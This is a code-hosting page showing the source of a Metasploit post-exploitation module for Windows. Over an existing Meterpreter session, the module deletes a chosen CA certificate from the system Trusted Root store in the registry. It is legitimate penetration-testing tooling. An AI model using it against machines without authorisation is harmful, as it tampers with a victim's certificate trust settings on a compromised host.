Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/remove_ca.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Windows Manage Certificate Authority Removal',
13
'Description' => %q{
14
This module removes the specified CA certificate from the
15
system Trusted Root store.
16
},
17
'License' => BSD_LICENSE,
18
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
19
'Platform' => [ 'win' ],
20
'SessionTypes' => [ 'meterpreter' ],
21
'Compat' => {
22
'Meterpreter' => {
23
'Commands' => %w[
24
stdapi_registry_open_key
25
]
26
}
27
},
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [CONFIG_CHANGES],
31
'Reliability' => []
32
}
33
)
34
)
35
36
register_options(
37
[
38
OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
39
]
40
)
41
end
42
43
def run
44
certtoremove = datastore['CERTID']
45
46
key = 'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates'
47
rkey, bkey = client.sys.registry.splitkey(key)
48
49
# Check if the requested cert is actually in the registry to start with
50
open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
51
keys = open_key.enum_key
52
53
if (keys.length <= 1)
54
print_error('These are not the CAs you are looking for (i.e. this registry branch is empty)')
55
return
56
end
57
58
unless keys.include?(certtoremove)
59
print_error('The specified CA is not in the registry.')
60
return
61
end
62
63
open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
64
open_key.delete_key(certtoremove)
65
print_good("Successfully deleted CA: #{certtoremove}")
66
end
67
end
68
69